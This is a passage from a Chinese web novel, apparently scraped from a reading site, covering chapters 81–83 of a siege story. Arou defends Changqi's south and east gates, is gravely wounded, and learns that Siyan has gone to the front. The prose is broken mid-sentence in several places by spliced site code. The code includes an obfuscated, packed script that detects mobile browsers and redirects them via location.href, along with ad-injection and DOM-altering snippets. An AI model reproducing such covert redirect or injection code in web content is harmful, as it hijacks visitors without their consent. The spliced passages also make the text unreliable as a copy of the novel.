漫天飞箭袭来,云洛的神志在这一刻陡然清醒。他猛地一勒缰绳,企图掉头离开弓兵射程,但却牵动得马儿高声悲啼。马蹄高高扬起,猛地一甩,险些将云洛甩下马去。 利箭飞来,云洛使出长剑极力躲闪,肩上与腹部却还是中了箭。 战马亦未能幸免,嘶嚎悲鸣,开始发狂。 千钧一发之际,云洛翻身滚落下马。就在弓兵即将射出第二轮弓箭时,策马赶来的薛重山俯身一捞,将云洛带回了自己马上,继而转身离去,堪堪躲过了紧随而来的箭雨,避开了射程范围。 “啧。”李晁奚见云洛被人救走,有些惋惜地挥了挥手,示意弓兵不必再放箭。 而云熙终是坠落在了城墙之下,四周绽开了凄惨而妖冶的血花。 她的意识没有立刻消散,只能煎熬地感受着五脏六腑俱损的痛楚,直勾勾地望着云洛远去的背影。 原来如此。 她早该想到,她和云洛二人,一个是昔日祸国殃民的妖妃,一个是如今叛军的贼首,李晁奚怎么可能如此轻而易举地放过他们? 而云熙一个手无缚鸡之力的弱女子,又怎么可能随随便便就能挣脱士兵的束缚,从城墙之上一跃而下呢? 答案只有一个——这一切都在李晁奚的算计之内。 她的天真,她的爱,连同她这条命一起,统统被算了进去。 李晁奚料到她会因不愿拖累云洛而自戕,也料到云洛在看到阿姐死在自己面前后,会做出下意识的举动。 哪怕一瞬的破绽也好,那也是取下云洛性命的最佳机会。 计划若成,叛军将失去一个统领。计划若败,倒也没有什么损失。 死的只有云熙一个人而已。 只有……一个女人而已…… “啊……啊……”云熙倒在一片血泊之中,意识一点点消散。她说不出任何话,只能发出几声难听而无力的呜咽。 这张曾经惊艳了无数人的脸,如今却显得狰狞可怖。她口中不断涌出鲜血,正如她的生命一般,即将消耗殆尽。 泪水从眼角滑落而出,与鲜血交织在一起。 过了一会儿,云熙终于不能再发出任何声音,躺在地上不动了。 …… 还未开战,叛军首领之一就已负伤,无疑会使士气大大降低。薛重山没有选择强行攻城,而是撤兵回营,进行整顿。 李晁奚遥望着渐渐远去的叛军,稍稍松了口气,额上淌出汗来。 宁长衫见此情况,也不由得赞叹:“陛下当真是算无遗策。这贼首云洛中了两箭,不死也要去半条命。要想在短时间内恢复,是不可能的。” 李晁奚面色却并未好看几分,“尽管如此,仍不可掉以轻心。除了云洛,叛军之中还有其他将领。今日这一出,最多能拖延一两日的时间,待叛军卷土重来,我们便只有抵死相拼这一条路了。” “陛下说得是。”宁长衫沉声应道。 李晁奚又交代了一些事情,随后便下了城楼。 云飏跟在身旁问道:“陛下,熙贵妃……云熙的尸首,应当如何处置?” 李晁奚的脚步顿了顿,“收起来,好生安葬。” “是。” …… 东城门发生的一切传入阿柔耳中时,已是黄昏时分。 尽管阿柔并不觉得熙贵妃无辜,但以如此惨烈的方式了却一生,当真令人哀叹。 不知百年之后,后人提及这段历史,又将如何评说。是痛斥她为红颜祸水、祸国妖姬,还是是叹她命运无常、红颜薄命? 可即便再感慨,阿柔也不得不承认,李晁奚的计谋的确为长祈城争取到了宝贵的时间。哪怕只有一两天,也能减少许多人力与物资的损失。 更不必说叛军贼首云洛受了重伤,又在部下面前意气用事、犯下大错,一定会遭到部分人的排挤,从而催生叛军内部的矛盾和嫌隙。反观长祈城这边,从上到下万众一心、目标一致、合力迎敌,即便兵力不如叛军,必胜之决心却不比叛军差。 阿柔没时间再感时伤怀、悲叹他人命运。她的神经一刻也不曾松懈,与万千兵士一起,共同等候着大战来袭。 两日之后,叛军卷土重来,二十万兵力在薛重山的布置之下,分散于长祈城各处城门,同时进攻。 长祈城,南城门。 阿柔一身戎装、长发高束,腰间配着“照夜”宝剑,昂首挺立于城楼之上。她星眉剑目、目光清朗,周身散发着冷峻的气质。英姿飒爽的模样,活脱像是从话本里走出来的巾帼英雄。 城门两侧墙体之后,兵卒排列有序、严阵以待。 负责攻打南城门的首领叫做聂云天,是个身材魁梧、满面胡须的汉子。他骑于马背之上,仰头望去,见镇守南门的竟是个女人,顿时轻蔑不已。 聂云天嘲讽着道:“兄弟们,看到没有!这长祈城当真是无人可守了,竟派个小娘们出来!” 他抬起头,笑嘻嘻地冲着阿柔喊道:“喂,小娘子,还不快些叫你家男人出来。你一个姑娘家的,一会儿被打哭了,旁人岂不是要说我欺负人了?哎,不然你现在跟了我,还来得及。你家男人不要你了,我可以要嘛。” 部将闻言,皆发出促狭的笑声与不善的起哄。 阿柔轻蔑地挑眉,什么话也没说。 距离太远,聂云天看不到她的脸,自然也看不到她面上的轻蔑。见她一言不发,早已在脑海中自行想象出了一个红着眼眶、孤立无援的女儿模样,笑声更加肆无忌惮了。 还不等阿柔说什么,她身旁的部将王阳似是耐不住了,上前一步,破口大骂:“废话那么多,要打就放马过来,看老子不给你打得哭着找娘!” 聂云天扬声大笑,“兄弟们,听到没有,他说要把咱们打得回家找娘呢,这你们能答应吗?” “不能答应!” “不能答应!” “……” 眼见着军队的士气已被调动起来,聂云天又喊:“我再问最后一遍,你们降还是不降?” 阿柔终于不再沉默,从腰上剑鞘中拔出宝剑,高高举起,“众将听令!誓死守卫大昭江山,誓死守卫长祈城,宁可身死,绝不可后退半步!” “是!!!” 成千上万个声音凝聚在一起,汇成滔天的声浪,久久盘旋于天地之间。 聂云天脸色一沉,“既如此,可别怪我没有手下留情了!” “听令,攻城!” …… 时间回到几日前。 阿柔将一切战术计划布置完毕,全军上下严阵以待,静候敌军而来。 而后,她专程去了一趟主帅营,找到陈焕,说道:“陈校尉,我有一事想与你商量。” 陈焕点了点头,“但说无妨。” 阿柔直截了当地说:“届时叛军攻城,我想让陈校尉先行回避,暂且不要现身于敌军之前,由我一人指挥局面。” 陈焕闻言,皱了皱眉头,“你的意思是……” “叛军虽然来势汹汹,但却并不知晓城内布防情况,也不知陛下会任命谁人镇守城池。”阿柔说道,“我想让叛军以为,镇守南门的主将只有我一个。” 陈焕大致明白了她的意思,“阿柔是想对方放松警惕,是吗?” 阿柔回答:“正是如此。他们见我一个女人守城,也许会轻视懈怠几分。而骄兵必败,倘若我们能趁此机会抓住对面的弱点,就是反击的时刻。” “有道理。”陈焕欣然同意,“那便按你说的来吧。” …… 此时此刻,长祈城东城门。大军压境,直逼而来。 “弓兵,准备!” 阿柔一挥手,城楼两侧万箭齐发, 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340577|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这些箭皆是经由特殊处理,裹了布条、引芯,浸了松香油的火箭。箭雨或是直入敌军血肉之躯,或是落在地上,燃起熊熊烈焰。 叛军阵型一下子被冲得七零八落,更有不少人中了箭,身上燃起火来。一时间,战马嘶鸣的声音与人凄厉的喊叫重叠在一起,不绝于耳。 漫天箭雨之下,刀山火海之前,即便再勇猛的将士也难免生出怯意来。 聂云天见军队行进明显受阻,于茫茫烟尘中高声喊道:“只是这点伎俩就把你们都吓住了?妈|的,那城楼之上站着的只是个娘们,你们到底在怕什么!” 他身侧有军士辩驳道:“可是将军,这火箭威力忒猛了,实在难以突破啊!” 聂云天“呸”了一声,拔剑指向他,“你身上穿的这身铠甲是干什么用的,嗯?是穿着好看吗!” “这……” “将士们,听我一言!”聂云天说道,“这箭是能点火不错,却也并不好做。他们手上的火箭不会很多,你们要是被这种花样唬住了,可就真着了那小娘们的道了!听我命令,继续行进!拼死也要把云梯给我架上去!” “是!” 聂云天说的并没有错。 长祈城备战时间太短,而这种火箭制备起来又需要一定的时间,他们手上确实没有多少存货。 火箭的策略仅仅只能起到拖延的效果,不过两日,便已将火箭消耗殆尽。 待到第三日,叛军一鼓作气,挺过守城军的攻势,将战车和云梯推上前来。 阿柔目光一凛,当即下令道:“弓兵,先瞄准操纵战车之人,不能让他们把云梯运过来!” 弓兵闻令,立刻将准头转向操纵战车的士兵。 叛军行军果真受到了阻碍。 聂云天亦不甘示弱,命令道:“谁能将战车开过去,赏黄金百两,记头等军功!待到攻进城去,城内的金银珠宝、玉奴美姬,还不是随你挑!” 此话一出,叛军皆卯足了劲一拥而上。一人中了箭,便又填上一人。如此更迭轮替,竟真将战车推到了城墙边。 云梯架设而上,稳稳地钩住城墙。 紧接着,叛军便顺着梯子往上爬,直登城楼! “一个都不能放上来,给我砸!”阿柔扬声下令。 守城士兵便举起旁侧囤积的石块,狠狠地向下砸去! 不断有人被石块砸中,头破血流、坠落于地。不断有人仅有一步之差便能登上城楼,旋即被刀剑捅入胸膛,就此丧命。却又更多的人为功名金钱所惑,前仆后继爬上云梯,试图成为登上城墙、受到封赏的第一人。 第三日便在攻守之间僵持不已中过去了。 第四日、第五日皆是如此。 直到第六日,聂云天很明显地感觉到守城一方有些力不从心了,信誓旦旦地认为攻下南门已是板上钉钉的事。 听传令兵讲,其余几座城门在攻打之时都遇上了不小的阻碍。相比之下,南城门除了第一日的火箭以外,就再也没能拿出什么奇招来,更不必说阻碍了。 聂云天甚至在想,云将军令他来攻打南城门,倒真是让他捡了个便宜。谁能想到那废物皇帝竟然派了个不懂打仗的娘们来守城呢? 他已经想好攻破城门以后,该怎么同云将军邀功了。 因此,聂云天整个人都格外激昂,大有一鼓作气攻破城池的架势。 叛军受他鼓舞,也更加拼了命地往城墙上攀。 变故就在此时发生了。 只见先前一直紧闭着的城门突然被人从内而外打开,在所有叛军都未曾反应过来的时候,一支队伍骑着战马冲了出来,高声嘶喊着向城外杀去! 而这支队伍的领头之人,正是昭武校尉——陈焕。 城楼之上,阿柔正和周遭兵士一起抵御叛军进攻。她的面目浸满了鲜血,衣服也被染得看不清原本的颜色。 她将宝剑从敌人胸膛拔出,听到城门下的动静,露出一个势在必得的笑容来。 阿柔扬起脸,轻蔑地看着还在不断往上攀爬的叛军,“反击的时候,到了。” 82. 上阵 陈焕带领的守城军从城内一拥而出,直冲叛军杀去。 在此之前,叛军所有的注意力都放在了攀爬城楼一事上,哪里能料到朝廷军会主动冲出城门应战? 一瞬之间,攻守交换。叛军防不胜防,仓皇败退。 此刻反击,从一开始就是阿柔计划中的一环。 “陈校尉,届时我在城楼之上主持局面,牵制住敌军首领的视线,你带领一支精锐候在城门处。一旦叛军将重心全部放在登楼之上,卸下防备,我会派人去给你传信,你立刻带兵杀出城门反击。” 阿柔沉着冷静的话语回旋在陈焕的耳边,“此次反击,目的不在于将叛军一举击溃,而是打他们一个措手不及。” “真正的目标,不在杀敌,而在云梯。” “……” 叛军显然已经乱了手脚,本就有些松散的阵型一下子被冲得七零八落。军队之中有些是训练有素的北境边军,却也有一大部分人只是临时收编的败城守军,以及在河北地区临时招募而来的杂兵。 人员一旦复杂起来,遇到突发情况之时,就会更加混乱无序。 此时正是这样的情况。 按说叛军数量应当远在守城军之上,却被打得节节败退、难掩颓势。 聂云天也被这突如其来的变故惊了一跳,强自镇定地指挥道:“不过是虚张声势罢了,咱们人多,难道还怕他们不成?保持阵型迎敌!” 然而守城军并不欲与叛军过多纠缠,见叛军已经渐渐反应过来,便开始回撤。 他们将作战的重点放在了此时防御力极为薄弱的云梯车上。 “不好,保护云梯!”聂云天反应过来,脸色剧变。 守城军动作迅猛,将身上挂着的布条扯下来,缠绕在云梯车上——布条的表面之上早已裹了烈油,只需一点苗头,便可引燃熊熊烈火。 做完这些,守城军立刻撤离回城,城门复又归为紧闭之态。 下一秒,城墙之上火箭齐发,直冲云梯而去! 布条燃起火焰,一瞬间将云梯车包裹起来。 “救火,快救火!”聂云天目眦尽裂,徒然大喊。 阿柔目光凛冽,并不打算给他挽救的机会,“弓兵,换箭!谁靠近就杀谁!” 弓兵依言换上普通弓箭,将准心对准了试图挽救云梯的士兵。 聂云天气得咬牙切齿,同样指挥弓箭手向城墙射去。但城墙之上布防严密,既有墙面遮挡,又有盾牌抵御,几乎没有什么破绽。 叛军即便再心急,也只能眼睁睁地看着云梯缓缓燃烧、直至摧毁。 失去了云梯,攻城计划自是不成了。聂云天即便再不甘、再痛恨,也只能憋屈地带着手下士兵先行撤退。 待到叛军远去之后,城墙之上爆发出一阵又一阵欢呼声。 阿柔望着远去的尘烟,总算松下一口气来,卸力一般往后退了几步。待回过神来,周遭已簇拥了一群兵士,正围着自己高呼狂欢。 这一次,他们看向阿柔的目光不再轻慢怀疑,取而代之的是发自肺腑的敬佩。 阿柔听着周围的欢呼声与赞叹声,扬起一抹笑意,爽朗地说道:“不过是暂时击退而已,可别放松了警惕啊!” 连日以来紧绷着的心弦,总算能稍微放松下来一些了。 阿柔下了城楼,见到陈焕脱去上衣,正让军医处理伤口,便知他在出城迎敌时受了些伤,上前去关切道:“没事吧?” “皮肉伤,不碍事。”陈焕不以为意,笑了笑,“倒是戚副尉,万军之前毫无惧色,又以智计击退强敌,真是令人刮目相看,不愧是将门之女。” “陈校尉可莫要夸了,我所做的这些,不过是守城的基本,看看兵书便能琢磨清楚的事,若不是对面见我是女人,大意轻敌,只怕没那么容易得手。况且攻防战中,本就是守城一方占优,长祈四面布防,可不是那么容易击溃的。”阿柔谦逊地回道。 “虽如此说,该夸之时,也还是得夸的。”陈焕心情不错,“这几日辛苦了,待会儿若得了空,便好好休息一下吧。” “你也是。”阿柔回道。 李晁奚听闻南城门击退敌兵一事后,先是进行了口头上的封赏,又嘱托陈焕和阿柔二人不可掉以轻心。 南城门守城军一时间士气大增,摩拳擦掌地等候着下一场战役的到来。 与此同时,司言也送来了其余几道城门的防守情况。 长祈一战重心在东侧城门,由薛重山亲自带兵攻打。 此人跟随林予哲在北境打了许多年的仗,无论是武功还是智计都比聂云天强上不少,且号令的多半是训练有素的北境边军。因此,东城门的防守远比南城门艰难。 北城门战局同样焦灼。而西城门因远离敌军大营,并非战局重心,情况就显得轻松一些。 这次阿柔能在叛军手里讨到这么大一个便宜,不只是因为计策高明,还是因为撞到聂云天这么个没脑子的莽夫。 聂云天因为轻敌和莽撞,白白浪费掉了这么多兵力不说,还失掉了好几台云梯。等南城门一战的经过传入敌军主将耳中后,聂云天怕是要受处置了。 阿柔沉吟片刻,对司言道:“叛军久攻不下,一定比我们更着急。南门一战,我烧了他们的云梯。他们要么从别的城门分几台过来,要么放弃突破南门,转而把大批兵力调到更有胜算攻破的城门去。我想,后者的可能性会更大些。” 司言点了点头,说道:“主将营在收到南门的捷报后,戚二哥也是如此说的。陛下说,这几日且先观察着敌军的动向,再行调整。” 阿柔应声,认真地道:“嗯,我明白了。如有情况,阿柔随时待命。” 司言传递完了主将营的旨意,神色稍稍放松下来一些,摸了摸阿柔的发顶,由衷地道:“阿柔,做得好。” 阿柔垂着眼,“全军上下抵死守城,非是我一人之功劳。” “嗯,我知道。”司言轻声道,“就是想夸夸你。” “怎么,你是在哄小孩子吗。”阿柔失笑。 司言上前一步,伸手将她抱在怀中。 “怎么了?嗯?”阿柔拍拍他的后背。 “没什么。”司言声音闷闷的,“这两日,我一直提心吊胆的。现在这样,心里头踏实些。” “好啦,我这不是好好的吗。”阿柔知道他一直牵挂着自己的生死,心中暖暖的。 “是啊,这样就好。”司言深吸一口气,好一会儿才松开手,“接下来的战事,一定会比前几日更加艰险。” “我明白。”阿柔凝重道,“可有援军的消息?” “叛军围城之后,长祈和外间的联系就断了。”司言摇了摇头。 “也是。”阿柔叹了口气,“被困在城中,对外界一无所知的感觉,还真让人有些不踏实。” “阿柔是担心援军不会如期而至?” 阿柔沉默片刻,回答:“我并不怀疑唐老将军对大昭的忠诚。但先帝还流落在外,听闻陛下已在长祈自立为帝,他会如何想?若长祈一战大获全胜,陛下立下功绩,得了民心,这皇城之中,就更没有他的一席之地了。” 司言听明白了,她这是怕李钰听闻李晁奚自立为帝后恼羞成怒,再以天子的名义向西南军下旨,不予长祈支援。如此一来,长祈虽失,待到边军回防,平定叛乱之后,他仍旧是皇帝。 “阿柔大可放心,他翻不出什么风浪的。”司言沉着地道,“当初祁照入狱,西南军防一职空缺,朝中上下争论再三,最终才定下令老将唐元思填补这一空缺。阿柔可记得?” “嗯。”阿柔回想了一阵,说道,“二哥当时还同我说过,大昭正是缺将之际,唐老将军是唯一能接下这担子,又撑得住场子的人。” “早在祁照罪行披露,获罪入狱之前,我就料到朝中各方势力一定会想方设法地推举自己的人上去,接替祁照的职位。而他们推举的人,大多是靠连带关系上位的酒囊饭袋。司言顿了顿,说道,“早在护送张家人入京之前,我就去寻了唐老将军,求他出山。” 阿柔睁大眼,惊讶万分,“什么?!” “老将军与先父曾是旧识。二人结于江湖之中,平日书信来往,也用的是江湖化名。朝中许多人并不知二人间的交情,再加上唐老将军德高望重,先帝即位后清算东宫残党之时也没有起过动他的心思。所幸,老将军并未被先父所牵连,落得萧将军那般下场。”司言回忆起往事,叹了口气。 “你说你曾亲自去求老将军出山……以什么身份?”阿柔微微皱眉。 “他知道我是谁。很久以前,他就知道我还活着。”司言稍稍加快了语速,“更多细节,以后再慢慢和你讲。阿柔现在只需要知道,唐老将军与我们是站在同一边的。只要守住长祈城,援军一定会来。” 司言目光坚定,令人觉得十分安心。 阿柔见他如此肯定,稍稍稳定了心神,点头应道:“嗯。” “城中还有许多事要做,我必须得走了。”司言凝眸往她,神情之中皆是不舍。 “忙你的去吧。”阿柔故作轻松。 司言俯下身,在她唇上留下一个浅尝辄止的吻,“阿柔,保重。” “嗯,保重。还有,代我向二哥问好。”阿柔心中纵有万般不舍,最终还是只能目送着他离开。 司言说得对,接下来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的战事,会比前几日更加凶险。 长祈守城军要面对的,不只是虎视眈眈的叛军,还有兵力的折损、物资的消耗,以及城内越来越涣散的人心…… 阿柔走出营帐,浸于无边夜色之中。 空气中弥漫着浓重的血腥味,令人感到压抑不适。更有许多兵士身受重伤,疼得整宿整宿睡不着觉,只能发出低沉而痛苦的呻吟。 仅仅只过了六七日,就已是如此情状。而东城门的战况要比这里更为激烈,兵力损耗一定更加凄惨。 阿柔发出一声叹息。 如果可以,她也不愿直面身边人死去。这也就是她虽然自小在军营长大,拿兵书当启蒙读物看,也从不认为自己能够成为像阿爹和大哥那样出色的将领的原因。 但现在,这项使命既落在了她的头上,纵使再苦再难,她也必须要迈过心里头的那道坎。 “只要守住长祈城,援军一定会来……”阿柔默念着司言临走前说的那句话,攥紧拳头,逐渐坚定起来。 …… 战局的发展果真像阿柔和戚思彦预料的那般。叛军几乎放弃了南城门的进攻,转而将兵力调遣至东侧城门。 对于叛军而言,不论是哪座城门,只要击破其中之一,整座城池便已是囊中之物。 南城门一战失了宝贵的云梯,薛重山和云洛绝无可能再用聂云天这个人,干脆将兵力调遣至东、北两侧,加强这两面的进攻。 李晁奚便令阿柔前往东城门助阵宁长衫。 阿柔带兵赶赴东侧,果见战局焦灼。 东城门由叛军首领之一薛重山亲自带兵攻打,不仅装有云梯,下方还有将士合抱撞木,向城门撞去。 要像南城门一战那样找机会出城反击,是件困难的事。 一味防守,抵御进攻,会让长祈城处于越来越被动的处境,也会消磨士气。 而叛军数量众多,可以轮番作战,几乎是日夜不停地在城门处骚扰,令守城军防不胜防、疲于应付。 攻城第七日、第八日、第十日,皆是在如此消磨中度过。 待到第十一日,宁长衫和阿柔都认为如此耗着不是办法,再不反打一次,军中士气就要被消耗殆尽了。 宁长衫在城楼之上随时观察着战局情况,尽力捕捉反击机会。 终于,在第十二日四更天的时候,宁长衫发觉叛军有些松懈,首领薛重山也不在此处,当即传信号给在城门口待命的阿柔。 所有守城军以不眠不休的代价,终于等到一个反击的机会。 城门大开,阿柔手握宝剑,骑着战马冲出城去,身后跟随着千军万马。 心不在焉的叛军们还没反应过来是怎么回事,只见马蹄扬起漫天尘土,身着甲胄的敌人沐在银光之下,嘶吼呐喊着冲过来。 冲在最前方的那人是个女子,她长发高束、英姿飒爽,眼下泛着乌青,眸中狠厉宛如刀锋一般,令人望而生畏。 没有人能看得清她的面目,因为稍有失神,便会立刻死在她的剑下。 这一刻,阿柔不像将领,倒像个杀神。 手中“照夜”宝剑在月光之下更加飒飒生寒,其锋刃之锐利,简直让人不寒而栗。 阿柔讨厌有人在她面前死去,自然也讨厌杀人。 但是现在,她必须反复不断地去做这件令自己厌恶的事。 因为只有杀敌,才能夺取这场战争的胜利,才能护得长祈城无恙,才能将世间的秩序匡于正轨,还天下人以太平。 一时间,城门口火光宣天、惊叫连连。 阿柔不断斩下敌人的首级,身上也不断添上或轻或重的伤痕。一开始,她还能感觉到疼痛,但随着伤口越来越多,她已然麻木了。 连日以来的坚守和煎熬,使她的头脑不太清楚。阿柔越来越沉浸在自己的世界中,仿佛与周遭的一切都断开了联系,只是重复着杀敌的举动—— 杀…… 杀…… 杀! …… 城中主将营,李晁奚望着东方的火光,以及城门处遥遥传来的厮杀之声,叹了口气,神情之中似有欣慰、似有了然,又似有愧色。 当初他力排众议,封阿柔为昭武副尉,为的正是这一刻。 面对敌众我寡的战斗,杀一个是杀,杀两个是赚。 阿柔出身武将之家,自小习武,又在江湖门派中修习剑法与刀法,虽没有天下顶尖的本事,却可称得上是万中无一的强者。 能够以一敌十,是她在这场守城之战中最大的价值,也是李晁奚一定要让她上战场的原因。 “拜托了。”李晁奚喃喃自语,“给朕一个好结果吧。” 83. 将至 阿柔被送到军医营的时候,整个人像是在血海里泡过一遍似的,无声无息地躺在那里,呼吸微弱。 “阿柔!” 有人匆忙赶了过来——是戚思彦、司言还有李晁奚他们。 戚思彦眼眶通红,看着躺在床上浑身是血的幼妹,只觉得心脏像被人紧紧攥住一样疼。司言同样是又着急又心疼,恨不能代她承受所有的伤。 傅昭带着几个大夫闻讯而至,见到浑身浴血的人儿,心头大惊,随即凛声说道:“烦请诸位先在外面静候片刻,傅昭这就为戚副尉疗伤。” 几人依言而出。 房门阖上,廊前寂寞无声。 戚思彦后知后觉地感到腿软,胸口发闷,扶着柱子缓缓坐下。 司言见状蹲了下来,觑着他发白的脸色,有些担忧,“戚二哥,没事吧?” 戚思彦疲惫地摇了摇头。 李晁奚见状,命人去搬了把椅子来。 “多谢陛下……”戚思彦被人扶着坐下,声音很轻。 “阿柔她……吉人自有天相,定当能够逢凶化吉,挺过这一遭。”李晁奚思索片刻,终是劝道。 “那就承蒙陛下吉言了。”戚思彦笑容有些苦涩。 李晁奚对身边亲信下令道:“云飏,你和戚少卿在这里守着,有什么事第一时间告诉朕。” 云飏应道:“是。” 说罢,他又将视线转向一旁失魂落魄的司言,“你先跟朕走吧。” 司言回过神来,张了张口,目光落在紧闭的房门上,似有不舍。 李晁奚有些无奈地道:“阿言。” “陛下,我……” “你留在这里也是无用。”李晁奚冷静地说道,“只是赢下这一场仗而已,长祈城的危机可还没过去呢。” “陛下教训的是。”司言垂着眼眸说道。 “听话,跟朕走。”李晁奚率先迈开步伐,示意他跟上。 李晁奚带着司言回到了主将营,“阿言,坐。” 司言依言坐下,但明显有些魂不守舍的样子,“陛下,可有要事吩咐?” 李晁奚看着他,“倒也没什么特别的事,只是稍后须得将东城门的战况同步给其余几位将领,这些不用朕说,朕知道你已安排妥当。” 司言抿了抿唇,“是。” 李晁奚叹了口气,“阿言,我知道你心里头记挂着阿柔。可戚少卿是阿柔的兄长,守在那里名正言顺。若你我都抛下军务不管,就去候着一个人,那成什么样子了?” “我明白……”司言深吸一口气,攥紧了拳头。 “你是关心则切,朕知道。”李晁奚放缓了语气,“只是阿柔拼上性命为我守城军搏来转机,切不能就这样白白浪费掉。” 这次反击,守城军打了叛军一个措手不及。而出城迎敌的将领戚雪柔,虽是一介女子,却于万军之前而不惧,手握长剑、血刃敌军、宛如战神,在此一战中大获全胜,功绩可彪炳千秋。 叛军遭到重创,兵力骤然折损,在短时间内是没法像前几日那样频繁骚扰进犯了,这也为长祈城赢得了一丝喘息之机。 “若你不愿阿柔的苦心白费,现在就给朕打起精神来,好好做你该做的事。”李晁奚说道,“待你行完应尽之责,你要去看她,朕绝对不会拦你。” 司言站起身来,向他行了一礼,说道:“司言这就去。” 司言离开之后,李晁奚看着桌上成山的军报,再次叹了口气。他眼下乌青,面色泛白,显然也是许多个日夜没睡过好觉了。 他身为一国之君,又是一军之主将,即便再苦再难,也不好在人前轻易显露出出疲色来。 李晁奚不禁自嘲一笑——还未曾享过当皇帝的好,便已尝尽了当皇帝的苦,做到他这个份上,可是有够好笑的。 鼓舞士气的话都是说给手下人的,李晁奚作为将领,必须要想到战局走向的万般可能,也要尽早做好最坏的打算。 反击一战是打赢了,可阿柔却受了重伤,如今生死未卜,即便是保下一条性命,只怕也没那么容易恢复。 仅仅一战,便要折损掉如此得力的一名部将,代价未免太过沉重。更何况,反击的机会并不容易找。全军上下不眠不休,严阵以待,也仅仅只抓住了这么一次机会。 而薛重山这次吃了这么大一个亏,之后定会更加严防死守、不露破绽。 如若再等不到援军,长祈城怕是真的要危险了…… 李晁奚一向不习惯将左右胜负的关键交由他人,但一个人的力量终究是有限的。 他这辈子做过许多冒险的决定,成则一步登天,败则满盘皆输。 迄今为止,他还从未赌输过。 但愿这次,长祈城也能够逢凶化吉,度过此劫。 …… 阿柔醒来时,已是三日后的夜晚。 她迷迷糊糊地睁开眼,看到自己被安置在一处空房间。 阿柔稍微动了动,先确认自己没有缺胳膊少腿,稍稍松了一口气,随即尝试着坐起身来。只是刚动了动,就觉得浑身上下像被碾过一样疼。 “小姐,你醒了!”明珠听到动静,赶紧跑了过来,“小姐莫要乱动,我去寻傅公子去。” 阿柔很听话地没再动,躺在原处。 没过一会儿,傅昭闻讯而至,跟在其后的还有戚思彦。 “阿柔,你醒了,感觉怎么样?”戚思彦跪坐在床边,眼眸之中全是心疼之色。 阿柔张了张口,才发觉自己现在说气话会牵连着伤口作痛。她勉强而断断续续地道:“我……还好……城门……” 戚思彦知道她想问什么,直接开口回答道:“城门一战胜了,你安心养伤吧。” 阿柔点了点头。 傅昭上前去,道了一声“冒犯”,检查了一番她的伤势,又把了脉,神色总算舒展开来,“戚副尉底子好,恢复得也好,接下来安心养伤便是。” 戚思彦微微颔首,“有劳了。” 傅昭又叮嘱了几句,便先行离开。 戚思彦转而看向阿柔,哄劝道:“阿柔好好养伤,后面的事就交给我们,好不好?” “嗯……”阿柔轻声回应。 阿柔知道,长祈城能坚持到现在,非她一人之功。留守在长祈城的每一个人都为击溃叛军、平定战乱做好了死的准备。即便她现在倒下,暂时告别战场,也会有人顶上她的位置,奋战至最后一刻。 有道是尽人事,听天命。她已付出了自己所能做到的所有,无愧于心。 戚思彦陪她待了一会儿,也离开了。 明珠见状,端了伤药和纱布过来,“三小姐,我帮你换药。” 明珠自幼便在京城长大,从未像现在这样直视鲜血淋漓的伤口,不由自主地有点发怵。即便如此,她还是尽力克服内心的恐惧,小心翼翼地帮阿柔换了药。 阿柔看着明珠因为害怕而有些发白的脸色,感谢地道:“多谢,明珠。” 明珠摇了摇头,“这是我该做的。” 阿柔缓过一阵,觉得嗓子舒服了些,说起话来没有刚才那么难受了,便问道:“你可知外面情况如何?” 明珠思忖片刻,回道:“明珠不是很懂打仗的事,只是听二公子和陛下说过,长祈援军将至,叛军却不愿放弃攻城的机会,打得比前些日子更猛了,似有背水一战的势头。” 阿柔闻言,陷入思考。 算着时日,援军是该到了。 叛军筹谋多年,好不容易打到长祈城,离夺取皇权仅仅只差一步之遥。若在此处退缩,等到各处边军回防长祈,叛军的处境就岌岌可危了。 云洛和薛重山一定比他们更急,选择背水一战,也在情理之中。 相比之下,守城军兵力太少,面对叛军强势骚扰,几乎没什么轮休的机会,早已疲惫不堪。阿柔带兵打出去了一次,虽然得到了些许喘息的机会,但长祈的窘境却难以发生翻天覆地的转变。 其实这场仗打到现在,胜算已经基本向长祈这边倾斜了。只要能撑过最后最猛的攻势,便可守得云开。 可在所有人都已相当疲惫的情形之下,究竟能否撑过最后的攻势呢? 阿柔不免有些焦灼。 只是眼下,她躺在这里什么也做不了,明珠又没法告诉她前线的最新情况,只能干着急。 大概也只有等司言来了,才能从他口中得知战局如何了。 “司言来过吗?”阿柔问。 “三小姐还没醒的时候,司公子来过几趟。” “这样啊。”阿柔若有所思。 司言许是在忙别的事,等他什么时候来了再问吧。 阿柔这样想着。 过了一会儿,军医营送了汤药来。阿柔喝过药后有些犯困,一直到睡着了也没见到司言。 一直到第二日午后,阿柔实在是等不下去了,决定亲自去一趟主将营。明珠劝了半天也没能劝动她,只好扶着她去。 及至主将营,戚思彦和李晁奚都在。 戚思彦慌忙站起身去搀她,“阿柔怎么跑出来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,不是让你好好养伤吗?” 阿柔身上到处都缠着纱布,几乎没有一块完好无损的地方。她被七手八脚地扶着坐在椅子上,坐定之后缓了缓,说道:“我在屋里躺着,什么都不知道,心里没底。” 戚思彦有些无奈,终是没再说什么。 阿柔在前方不断传回的战报中得知,东城门再次开战,宁长衫宁将军亲自带兵出城迎击,此时正是焦灼之时。 而她坐在主将营,总算也体会了一把守在后方心惊肉跳的感觉。 只是阿柔依旧没看到司言的身影。指挥故渊门弟子行于四方城门,为陛下传递战报之人,也不再是司言,而是他的师兄宋岳之。 阿柔愣了愣,向身边的戚思彦问道:“二哥,你见过司言吗?” 戚思彦看向她,神情有些复杂。 阿柔直觉有些不对劲,又问:“二哥?” 戚思彦叹了口气,终是说道:“司言他……现在在东城门……宁将军的队伍里。” “啊?!” 